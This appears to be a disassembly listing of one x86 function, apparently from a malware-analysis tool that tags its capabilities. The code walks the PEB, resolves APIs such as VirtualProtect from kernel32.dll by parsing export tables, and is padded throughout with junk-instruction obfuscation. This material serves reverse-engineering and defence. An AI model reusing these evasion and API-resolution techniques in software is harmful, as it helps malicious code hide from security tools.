Function at 0x410e89
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop eax
push eax
sub eax, 0x18522
pop eax
cmp dword [ebp - 0x1528], 0
jne 0x410ead
mov dword [ebp - 0x71c], 0
jmp 0x411154
mov eax, dword [ebp - 0x1528]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc3c], edx
push edi
push edi
add esp, 4
and edi, 0x716
pop edi
push ebx
call 0x410edb
add byte [0x4350443c], dh
dec ebp
inc ecx
dec ebx
dec esp
add esp, 4
and ebx, 0x10512
pop ebx
push edi
push ebx
add esp, 4
and edi, 0x628e
pop edi
cmp dword [ebp - 0xc3c], 0
jne 0x410f09
mov dword [ebp - 0x71c], 0
jmp 0x411154
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0x4c4], eax
push ebx
call 0x410f24
add byte [0x4b473a33], bh
cmp dword [edi + 0x46], ecx
add esp, 4
or ebx, 0x49d4
pop ebx
push edx
jmp 0x410f37
call 0x410f43
add byte [edx + 0x4f], cl
dec ebp
inc esp
dec ebx
add esp, 4
pop edx
lea ecx, [ebp - 0x1654]
mov dword [ebp - 0xc38], ecx
mov edx, dword [ebp - 0x4c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc34], eax
xor ecx, ecx
mov word [ebp - 0x1b0], cx
xor edx, edx
mov word [ebp - 0x24], dx
push edx
push eax
add esp, 4
call 0x410f85
add byte [eax + 0x41], dl
dec edx
dec ebx
inc esi
aas
aas
xor eax, dword [ebx - 0x357efb3c]
arpl word [ecx + eax], si
pop edx
push ecx
and ecx, 0x17280
sub ecx, 0x10d82
sub ecx, 0x9c3c
pop ecx
mov eax, dword [ebp - 0xc34]
mov cx, word [eax]
mov word [ebp - 0xfd2], cx
mov edx, dword [ebp - 0xc34]
add edx, 2
mov dword [ebp - 0xc34], edx
mov ax, word [ebp - 0xfd2]
mov word [ebp - 0x1b0], ax
mov ecx, dword [ebp - 0xc38]
mov dx, word [ecx]
mov word [ebp - 0xfd4], dx
mov eax, dword [ebp - 0xc38]
add eax, 2
mov dword [ebp - 0xc38], eax
mov cx, word [ebp - 0xfd4]
mov word [ebp - 0x24], cx
push edi
add edi, 0x118fb
or edi, 0x146b5
pop edi
push edi
call 0x411016
add byte [edx], dh
cmp ecx, dword [eax + 0x4d]
dec esi
push eax
aas
add esp, 4
or edi, 0xea46
sub edi, 0x752e
or edi, 0x10ad3
pop edi
movzx edx, word [ebp - 0x24]
test edx, edx
jne 0x411049
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x1530], eax
jmp 0x4110a3
movzx edx, word [ebp - 0x1b0]
movzx eax, word [ebp - 0x24]
cmp edx, eax
je 0x410f71
movzx ecx, word [ebp - 0x1b0]
xor ecx, 0x20
movzx edx, word [ebp - 0x24]
cmp ecx, edx
je 0x410f71
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
cmp eax, ecx
jge 0x41108d
mov dword [ebp - 0x152c], 0xffffffff
jmp 0x411097
mov dword [ebp - 0x152c], 1
mov edx, dword [ebp - 0x152c]
mov dword [ebp - 0x1530], edx
cmp dword [ebp - 0x1530], 0
jne 0x4110ec
push eax
push edi
add esp, 4
and eax, 0x10cc
jmp 0x4110bd
pop eax
push esi
push esi
add esp, 4
xor esi, 0x14567
pop esi
push ebx
sub ebx, 0x87c3
add ebx, 0x17edc
xor ebx, 0x234c
pop ebx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x71c], eax
jmp 0x411154
push ecx
push edi
add esp, 4
and ecx, 0xea21
xor ecx, 0x15b7c
sub ecx, 0x5546
pop ecx
push edi
and edi, 0x10357
jmp 0x411111
xor edi, 0x10e6
sub edi, 0x5607
pop edi
mov ecx, dword [ebp - 0x4c4]
mov edx, dword [ecx]
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xc3c]
je 0x41114a
mov ecx, dword [ebp - 0x4c4]
cmp dword [ecx + 0x30], 0
jne 0x410f15
mov dword [ebp - 0x71c], 0
push eax
add eax, 0xc4ed
sub eax, 0x182a6
sub eax, 0x11b1f
pop eax
push edi
call 0x411176
add byte [ebx + 0x35], cl
dec esp
dec eax
dec ebp
xor al, byte [ebp - 0x7d]
les eax, [ecx + eax*4]
out dx, eax
scasd eax, dword es:[edi]
outsb dx, byte [esi]
add dword [eax], eax
sub edi, 0x3bfe
pop edi
cmp dword [ebp - 0x71c], 0
jne 0x4111d0
push esi
push ecx
add esp, 4
xor esi, 0x1799a
and esi, 0x667e
pop esi
push edx
or edx, 0x10ad3
pop edx
push eax
push edx
add esp, 4
jmp 0x4111b4
pop eax
push edi
push esi
add esp, 4
xor edi, 0x13b25
pop edi
mov dword [ebp - 0x768], 0
jmp 0x411cf8
push ebx
xor ebx, 0x183a3
pop ebx
push edx
push ebx
add esp, 4
jmp 0x4111e5
add edx, 0x23bf
add edx, 0xda63
pop edx
push ecx
xor ecx, 0x11b74
pop ecx
push ebx
and ebx, 0x18113
pop ebx
mov edx, dword [ebp - 0x71c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x72c], 0
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x1534], ecx
cmp dword [ebp - 0x1534], 0
jne 0x411241
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], edx
jmp 0x411532
mov eax, dword [ebp - 0x1534]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1538], ecx
jne 0x411269
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], edx
jmp 0x411532
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1538]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x153c], eax
cmp dword [ebp - 0x153c], 0
jne 0x41129b
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], ecx
jmp 0x411532
mov edx, dword [ebp - 0x330]
add edx, dword [ebp - 0x153c]
mov dword [ebp - 0x720], edx
jne 0x4112c0
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], eax
jmp 0x411532
mov ecx, dword [ebp - 0x720]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1bf8], edx
mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1bfc], ecx
mov edx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c00], eax
mov dword [ebp - 0x724], 0
jmp 0x41131a
mov ecx, dword [ebp - 0x724]
add ecx, 1
mov dword [ebp - 0x724], ecx
mov edx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x724]
cmp eax, dword [edx + 0x18]
jae 0x411526
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x1bfc]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c00]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c04], edx
mov dword [ebp - 0x150], 0
jmp 0x41138a
mov eax, dword [ebp - 0x150]
add eax, 1
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x728]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
test edx, edx
je 0x41143c
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x840]
test ecx, ecx
je 0x41143c
push edi
and edi, 0x150b8
pop edi
push ecx
push eax
add esp, 4
add ecx, 0x15145
sub ecx, 0x76a5
add ecx, 0xf581
add ecx, 0x53db
pop ecx
push edx
push ebx
add esp, 4
and edx, 0xc1c5
pop edx
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x840]
cmp eax, edx
je 0x41142e
mov eax, dword [ebp - 0x728]
add eax, dword [ebp - 0x150]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x150]
movsx eax, byte [ebp + edx - 0x840]
cmp ecx, eax
jne 0x411435
jmp 0x41137b
jmp 0x41143c
push ebx
push ebx
add esp, 4
xor ebx, 0x5720
xor ebx, 0xd174
add ebx, 0xf1b7
sub ebx, 0x5909
pop ebx
push esi
and esi, 0x3a96
xor esi, 0xa722
and esi, 0x8b0b
pop esi
mov ecx, dword [ebp - 0x728]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x840]
cmp edx, ecx
jne 0x41149b
mov dword [ebp - 0xc40], 0
jmp 0x41150a
push eax
sub eax, 0xe747
call 0x4114af
add byte [eax + eax*2 + 0x48], al
dec ecx
cmp byte [0x4c4834a], dh
or eax, 0x961b
xor eax, 0xaf04
pop eax
push eax
sub eax, 0x33f6
add eax, 0x681b
pop eax
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x840]
or edx, 0x20
cmp eax, edx
jge 0x411500
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x41150a
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x411521
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0x3a0], eax
jmp 0x411532
jmp 0x41130b
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], ecx
cmp dword [ebp - 0x3a0], 0
je 0x41160d
push ecx
push esi
add esp, 4
sub ecx, 0x14387
pop ecx
push ecx
add ecx, 0x13eb2
or ecx, 0x1276d
or ecx, 0x346c
call 0x41156d
add byte [ebx], bh
inc esi
dec ebp
inc ecx
inc esi
dec edx
cmp edi, dword [ebx]
aas
add esp, 4
pop ecx
mov edx, dword [ebp - 0x3a0]
mov dword [ebp - 0x1c08], edx
push ebx
push ecx
add esp, 4
and ebx, 0x12630
call 0x411597
add byte [ebp + 0x3a], cl
aas
dec ebx
cmp al, 0x33
cmp al, 0x49
add esp, 4
pop ebx
push esi
add esi, 0x16444
add esi, 0xd862
and esi, 0x17260
pop esi
mov eax, dword [ebp - 0x1c08]
mov dword [ebp - 0x1c0c], eax
lea ecx, [ebp - 0x15e8]
push ecx
call dword [ebp - 0x1c0c]
test eax, eax
jne 0x41160d
push eax
call 0x4115dc
add byte [ebp + 0x35], cl
inc eax
dec ecx
cmp al, 0x3d
aaa
inc ebp
add esp, 4
sub eax, 0x4095
add eax, 0x3da4
call 0x4115fa
add byte [ecx + 0x4b], cl
inc esp
dec edx
cmp dword [edx], esi
xor dh, byte [edi]
cmp dword [ebx - 0x38a7fb3c], eax
test dword [eax + 0xfffff8], ebx
add byte [eax], al
add cl, ch
jmp 0x411611
push ecx
jmp 0x411615
inc ebx
dec eax
aas
and ecx, 0x5bc1
pop ecx
push edx
push edx
add esp, 4
jmp 0x411626
add edx, 0x9a79
pop edx
push ecx
push ebx
add esp, 4
and ecx, 0x13ce9
and ecx, 0xed5f
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1c10], edx
mov eax, dword [ebp - 0x1c10]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1c14], ecx
mov edx, dword [ebp - 0x1c14]
mov dword [ebp - 0x1540], edx
push edx
add edx, 0x2c42
sub edx, 0x17e4f
and edx, 0xc1aa
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0x10007
or ebx, 0x39e2
add ebx, 0xaedf
sub ebx, 0x9421
pop ebx
cmp dword [ebp - 0x1540], 0
jne 0x4116b1
mov dword [ebp - 0x29c], 0
jmp 0x411958
mov eax, dword [ebp - 0x1540]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc4c], edx
push ecx
push ecx
add esp, 4
xor ecx, 0x9850
xor ecx, 0x17fa5
and ecx, 0xfc89
pop ecx
push edx
xor edx, 0xd185
or edx, 0x3f59
or edx, 0x54ff
xor edx, 0x708a
pop edx
cmp dword [ebp - 0xc4c], 0
jne 0x41170d
mov dword [ebp - 0x29c], 0
jmp 0x411958
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0x4c8], eax
push ebx
push eax
add esp, 4
sub ebx, 0x6502
call 0x411731
add byte [ebp + 0x35], cl
dec edx
cmp al, 0x3b
cmp al, 0x4a
add esp, 4
sub ebx, 0x15a28
call 0x411747
add byte [ebx + 0x3d], al
dec esi
aaa
aas
dec ebx
add esp, 4
pop ebx
lea ecx, [ebp - 0x15e8]
mov dword [ebp - 0xc48], ecx
mov edx, dword [ebp - 0x4c8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc44], eax
xor ecx, ecx
mov word [ebp - 0x1b4], cx
xor edx, edx
mov word [ebp - 0x28], dx
push ecx
push ebx
add esp, 4
and ecx, 0x9a9d
sub ecx, 0xd555
call 0x411794
add byte [ecx + eax*2], bh
cmp al, 0x3d
cmp bh, byte [ecx]
dec ecx
aaa
add esp, 4
call 0x4117a3
add byte [edx], bh
cmp byte [ebx + 0x4a], cl
dec eax
dec eax
add esp, 4
pop ecx
mov eax, dword [ebp - 0xc44]
mov cx, word [eax]
mov word [ebp - 0xfd6], cx
mov edx, dword [ebp - 0xc44]
add edx, 2
mov dword [ebp - 0xc44], edx
mov ax, word [ebp - 0xfd6]
mov word [ebp - 0x1b4], ax
mov ecx, dword [ebp - 0xc48]
mov dx, word [ecx]
mov word [ebp - 0xfd8], dx
mov eax, dword [ebp - 0xc48]
add eax, 2
mov dword [ebp - 0xc48], eax
mov cx, word [ebp - 0xfd8]
mov word [ebp - 0x28], cx
push edx
or edx, 0x7e0a
pop edx
push esi
push ebx
add esp, 4
and esi, 0x4d2b
or esi, 0x6189
pop esi
push esi
push ebx
add esp, 4
xor esi, 0xf69f
and esi, 0x1151a
xor esi, 0xdd1f
pop esi
movzx edx, word [ebp - 0x28]
test edx, edx
jne 0x41184d
movzx eax, word [ebp - 0x1b4]
movzx ecx, word [ebp - 0x28]
sub eax, ecx
mov dword [ebp - 0x1548], eax
jmp 0x4118a7
movzx edx, word [ebp - 0x1b4]
movzx eax, word [ebp - 0x28]
cmp edx, eax
je 0x411775
movzx ecx, word [ebp - 0x1b4]
xor ecx, 0x20
movzx edx, word [ebp - 0x28]
cmp ecx, edx
je 0x411775
movzx eax, word [ebp - 0x1b4]
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
jge 0x411891
mov dword [ebp - 0x1544], 0xffffffff
jmp 0x41189b
mov dword [ebp - 0x1544], 1
mov edx, dword [ebp - 0x1544]
mov dword [ebp - 0x1548], edx
cmp dword [ebp - 0x1548], 0
jne 0x4118f0
push ebx
push esi
add esp, 4
or ebx, 0x176b
call 0x4118ca
add byte [eax + 0x4c], dl
xor eax, 0x39404f39
dec esi
add esp, 4
pop ebx
push ebx
add ebx, 0x10549
xor ebx, 0x12184
sub ebx, 0xfe7e
pop ebx
mov eax, dword [ebp - 0x4c8]
mov dword [ebp - 0x29c], eax
jmp 0x411958
push edx
sub edx, 0xb7
pop edx
push edx
push esi
add esp, 4
add edx, 0x11c1f
xor edx, 0xde23
pop edx
push edx
push eax
add esp, 4
and edx, 0x928c
and edx, 0x9938
and edx, 0xf4c0
pop edx
mov ecx, dword [ebp - 0x4c8]
mov edx, dword [ecx]
mov dword [ebp - 0x4c8], edx
mov eax, dword [ebp - 0x4c8]
cmp eax, dword [ebp - 0xc4c]
je 0x41194e
mov ecx, dword [ebp - 0x4c8]
cmp dword [ecx + 0x30], 0
jne 0x411719
mov dword [ebp - 0x29c], 0
push eax
jmp 0x411960
jmp 0x411967
or eax, 0xce96
and eax, 0xd8e8
pop eax
push esi
jmp 0x41197b
and esi, 0xa0f6
pop esi
push ecx
add ecx, 0x16464
pop ecx
mov edx, dword [ebp - 0x29c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x318], eax
push esi
push edx
add esp, 4
jmp 0x4119a6
pop esi
push edx
push ecx
add esp, 4
and edx, 0x9e31
xor edx, 0xdad5
and edx, 0x5d59
pop edx
push edi
push edi
add esp, 4
or edi, 0x143ac
pop edi
mov dword [ebp - 0x73c], 0
mov ecx, dword [ebp - 0x318]
mov dword [ebp - 0x154c], ecx
cmp dword [ebp - 0x154c], 0
jne 0x4119fb
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], edx
jmp 0x411cec
mov eax, dword [ebp - 0x154c]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1550], ecx
jne 0x411a23
mov edx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], edx
jmp 0x411cec
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1550]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x1554], eax
cmp dword [ebp - 0x1554], 0
jne 0x411a55
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], ecx
jmp 0x411cec
mov edx, dword [ebp - 0x318]
add edx, dword [ebp - 0x1554]
mov dword [ebp - 0x730], edx
jne 0x411a7a
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], eax
jmp 0x411cec
mov ecx, dword [ebp - 0x730]
mov edx, dword [ebp - 0x318]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1c18], edx
mov eax, dword [ebp - 0x730]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1c1c], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x318]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c20], eax
mov dword [ebp - 0x734], 0
jmp 0x411ad4
mov ecx, dword [ebp - 0x734]
add ecx, 1
mov dword [ebp - 0x734], ecx
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x734]
cmp eax, dword [edx + 0x18]
jae 0x411ce0
mov ecx, dword [ebp - 0x734]
mov edx, dword [ebp - 0x1c18]
mov eax, dword [ebp - 0x318]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x738], eax
mov ecx, dword [ebp - 0x734]
mov edx, dword [ebp - 0x1c1c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c20]
mov edx, dword [ebp - 0x318]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c24], edx
mov dword [ebp - 0x154], 0
jmp 0x411b44
mov eax, dword [ebp - 0x154]
add eax, 1
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
test edx, edx
je 0x411bf6
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x824]
test ecx, ecx
je 0x411bf6
push esi
push ebx
add esp, 4
jmp 0x411b7b
jmp 0x411b84
pop esi
push ecx
push edi
add esp, 4
or ecx, 0x37da
add ecx, 0xd778
pop ecx
push ecx
push edx
add esp, 4
add ecx, 0x1812
pop ecx
mov edx, dword [ebp - 0x738]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x824]
cmp eax, edx
je 0x411be8
mov eax, dword [ebp - 0x738]
add eax, dword [ebp - 0x154]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x154]
movsx eax, byte [ebp + edx - 0x824]
cmp ecx, eax
jne 0x411bef
jmp 0x411b35
jmp 0x411bf6
push eax
push ebx
add esp, 4
or eax, 0x4b0a
pop eax
push eax
add eax, 0xf8e
sub eax, 0xf565
or eax, 0xc2
sub eax, 0x17ae0
pop eax
push edx
push ebx
add esp, 4
and edx, 0x117b9
pop edx
mov ecx, dword [ebp - 0x738]
add ecx, dword [ebp - 0x154]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x154]
movsx ecx, byte [ebp + eax - 0x824]
cmp edx, ecx
jne 0x411c55
mov dword [ebp - 0xc50], 0
jmp 0x411cc4
push esi
push esi
add esp, 4
sub esi, 0x36a8
pop esi
push edx
push esi
add esp, 4
add edx, 0x102ce
jmp 0x411c74
pop edx
push edx
push ebx
add esp, 4
add edx, 0x5f9b
xor edx, 0x5b3a
pop edx
mov edx, dword [ebp - 0x738]
add edx, dword [ebp - 0x154]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x154]
movsx edx, byte [ebp + ecx - 0x824]
or edx, 0x20
cmp eax, edx
jge 0x411cba
mov dword [ebp - 0xc50], 0xffffffff
jmp 0x411cc4
mov dword [ebp - 0xc50], 1
cmp dword [ebp - 0xc50], 0
jne 0x411cdb
mov eax, dword [ebp - 0x1c24]
mov dword [ebp - 0x4cc], eax
jmp 0x411cec
jmp 0x411ac5
mov ecx, dword [ebp - 0x73c]
mov dword [ebp - 0x4cc], ecx
mov edx, dword [ebp - 0x4cc]
mov dword [ebp - 0x768], edx
push eax
push edx
add esp, 4
add eax, 0x824c
add eax, 0x61e1
call 0x411d18
add byte [ebx + ecx*2], dh
aas
inc eax
inc edx
inc ecx
dec eax
cmp eax, 0x4c48346
pop eax
push edx
xor edx, 0x1138f
and edx, 0x12594
pop edx
mov eax, dword [ebp - 0x398]
add eax, 0xe
mov dword [ebp - 0x1c74], eax
push eax
push edx
add esp, 4
call 0x411d4e
add byte [ecx + 0x4e], al
inc esi
xor al, 0x3c
inc ebx
cmp al, 0x39
dec edi
cmp eax, dword [ebx + 0x535804c4]
push ecx
add esp, 4
call 0x411d67
add byte [edi + 0x4b], al
dec ebp
cmp dword [ebp + 0x4a], ecx
dec edi
xor al, 0x43
cmp al, 0x83
les eax, [ebx + ebx*2]
cmp dword [ebp - 0x398], 0
je 0x411d7d
cmp dword [ebp - 0xa54], 0
jne 0x411dc3
push ecx
push ebx
add esp, 4
sub ecx, 0xa745
add ecx, 0x1478
or ecx, 0x12ee8
xor ecx, 0x12d3a
pop ecx
push ecx
add ecx, 0x8c17
add ecx, 0x6338
sub ecx, 0x16452
pop ecx
mov ecx, dword [ebp - 0x768]
mov dword [ebp - 0x1c28], ecx
push 0
call dword [ebp - 0x1c28]
mov dword [ebp - 0x1d44], 0xa
push eax
jmp 0x411dd5
and eax, 0x5041
jmp 0x411de3
pop eax
push ebx
push eax
add esp, 4
jmp 0x411df2
add ebx, 0x12782
and ebx, 0x38
pop ebx
mov edx, dword [ebp - 0x398]
mov al, byte [edx + 0xa]
mov byte [ebp - 0x3ad], al
mov ecx, dword [ebp - 0xa54]
sub ecx, dword [ebp - 0x398]
mov dword [ebp - 0x1594], ecx
mov dword [ebp - 0xc80], 0
push edi
push edi
add esp, 4
call 0x411e3d
add byte [eax + 0x47], cl
dec ecx
cmp eax, dword [ebp + 0x4e]
inc ecx
aas
add esp, 4
pop edi
push ebx
push edx
add esp, 4
sub ebx, 0xc2a7
sub ebx, 0x6872
jmp 0x411e5b
pop ebx
mov byte [ebp - 0x978], 0x56
mov byte [ebp - 0x977], 0x69
mov byte [ebp - 0x976], 0x72
mov byte [ebp - 0x975], 0x74
mov byte [ebp - 0x974], 0x75
mov byte [ebp - 0x973], 0x61
mov byte [ebp - 0x972], 0x6c
mov byte [ebp - 0x971], 0x50
mov byte [ebp - 0x970], 0x72
mov byte [ebp - 0x96f], 0x6f
mov byte [ebp - 0x96e], 0x74
mov byte [ebp - 0x96d], 0x65
mov byte [ebp - 0x96c], 0x63
mov byte [ebp - 0x96b], 0x74
mov byte [ebp - 0x96a], 0
push ebx
or ebx, 0x3625
and ebx, 0x1147
or ebx, 0x7fbe
xor ebx, 0x119da
pop ebx
push edi
push eax
add esp, 4
call 0x411ef3
add byte [ecx + 0x4e], cl
cmp ecx, dword [esi + 0x45]
dec eax
xor eax, 0xc4834842
add al, 0x5f
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1c2c], edx
mov eax, dword [ebp - 0x1c2c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1c30], ecx
mov edx, dword [ebp - 0x1c30]
mov dword [ebp - 0x1558], edx
push ebx
push edi
add esp, 4
sub ebx, 0x24ee
add ebx, 0xe2a3
add ebx, 0xb2d
call 0x411f45
add byte [edx], bh
inc ebp
inc ebp
inc edx
xor eax, 0x3f463448
add esp, 4
pop ebx
push ebx
or ebx, 0x127d0
pop ebx
cmp dword [ebp - 0x1558], 0
jne 0x411f69
mov dword [ebp - 0x2a0], 0
jmp 0x412210
mov eax, dword [ebp - 0x1558]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc5c], edx
push ecx
push ecx
add esp, 4
jmp 0x411f89
jmp 0x411f8f
jmp 0x411f98
sub ecx, 0x12e37
pop ecx
push eax
add eax, 0x131d8
or eax, 0xdfa3
pop eax
cmp dword [ebp - 0xc5c], 0
jne 0x411fc5
mov dword [ebp - 0x2a0], 0
jmp 0x412210
mov eax, dword [ebp - 0xc5c]
mov dword [ebp - 0x4d0], eax
push eax
or eax, 0xc52c
sub eax, 0x76e3
sub eax, 0xa51b
jmp 0x411feb
pop eax
push esi
jmp 0x411ff2
call 0x411fff
add byte [ebx], bh
cmp byte [edi + 0x44], cl
cmp dword [ecx + 0x3c], eax
add esp, 4
pop esi
lea ecx, [ebp - 0x15e8]
mov dword [ebp - 0xc58], ecx
mov edx, dword [ebp - 0x4d0]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc54], eax
xor ecx, ecx
mov word [ebp - 0x1b8], cx
xor edx, edx
mov word [ebp - 0x2c], dx
push eax
push ecx
add esp, 4
or eax, 0xe3ac
pop eax
push edi
add edi, 0x1842
pop edi
push edx
push esi
add esp, 4
and edx, 0x977f
and edx, 0x168be
xor edx, 0x12886
xor edx, 0x11d67
pop edx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xfda], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xfda]
mov word [ebp - 0x1b8], ax
mov ecx, dword [ebp - 0xc58]
mov dx, word [ecx]
mov word [ebp - 0xfdc], dx
mov eax, dword [ebp - 0xc58]
add eax, 2
mov dword [ebp - 0xc58], eax
mov cx, word [ebp - 0xfdc]
mov word [ebp - 0x2c], cx
push edi
push edx
add esp, 4
xor edi, 0x6816
xor edi, 0x14c0b
xor edi, 0x7236
jmp 0x4120d5
pop edi
push esi
push eax
add esp, 4
xor esi, 0x4bda
add esi, 0x122a6
pop esi
movzx edx, word [ebp - 0x2c]
test edx, edx
jne 0x412105
movzx eax, word [ebp - 0x1b8]
movzx ecx, word [ebp - 0x2c]
sub eax, ecx
mov dword [ebp - 0x1560], eax
jmp 0x41215f
movzx edx, word [ebp - 0x1b8]
movzx eax, word [ebp - 0x2c]
cmp edx, eax
je 0x41202d
movzx ecx, word [ebp - 0x1b8]
xor ecx, 0x20
movzx edx, word [ebp - 0x2c]
cmp ecx, edx
je 0x41202d
movzx eax, word [ebp - 0x1b8]
movzx ecx, word [ebp - 0x2c]
cmp eax, ecx
jge 0x412149
mov dword [ebp - 0x155c], 0xffffffff
jmp 0x412153
mov dword [ebp - 0x155c], 1
mov edx, dword [ebp - 0x155c]
mov dword [ebp - 0x1560], edx
cmp dword [ebp - 0x1560], 0
jne 0x4121a8
push esi
add esi, 0x7da4
sub esi, 0x13fe6
jmp 0x41217c
sub esi, 0xdec5
pop esi
push ebx
push ecx
add esp, 4
add ebx, 0x175f3
add ebx, 0xeaad
jmp 0x412199
pop ebx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x2a0], eax
jmp 0x412210
push edx
push ecx
add esp, 4
xor edx, 0x6d75
pop edx
push ecx
push ebx
add esp, 4
add ecx, 0x16af7
add ecx, 0x1362d
pop ecx
push edi
add edi, 0x846e
xor edi, 0x10424
add edi, 0x16228
pop edi
mov ecx, dword [ebp - 0x4d0]
mov edx, dword [ecx]
mov dword [ebp - 0x4d0], edx
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0xc5c]
je 0x412206
mov ecx, dword [ebp - 0x4d0]
cmp dword [ecx + 0x30], 0
jne 0x411fd1
mov dword [ebp - 0x2a0], 0
push eax
call 0x412220
add byte [ebp + 0x36], cl
dec esi
cmp byte [eax + 0x50], dl
push eax
xor al, 0x34
add esp, 4
or eax, 0x14835
sub eax, 0x311e
call 0x41223e
add byte [edi + 0x4c], al
inc ebp
cmp byte [esi], dh
inc eax
inc esi
xor al, byte [edi - 0x7d]
les eax, [eax + ebx*2]
cmp dword [ebp - 0x2a0], 0
jne 0x412b46
mov edx, 0x6b
mov word [ebp - 0x1670], dx
mov eax, 0x65
mov word [ebp - 0x166e], ax
mov ecx, 0x72
mov word [ebp - 0x166c], cx
mov edx, 0x6e
mov word [ebp - 0x166a], dx
mov eax, 0x65
mov word [ebp - 0x1668], ax
mov ecx, 0x6c
mov word [ebp - 0x1666], cx
mov edx, 0x33
mov word [ebp - 0x1664], dx
mov eax, 0x32
mov word [ebp - 0x1662], ax
mov ecx, 0x2e
mov word [ebp - 0x1660], cx
mov edx, 0x64
mov word [ebp - 0x165e], dx
mov eax, 0x6c
mov word [ebp - 0x165c], ax
mov ecx, 0x6c
mov word [ebp - 0x165a], cx
xor edx, edx
mov word [ebp - 0x1658], dx
push ebx
sub ebx, 0x169b
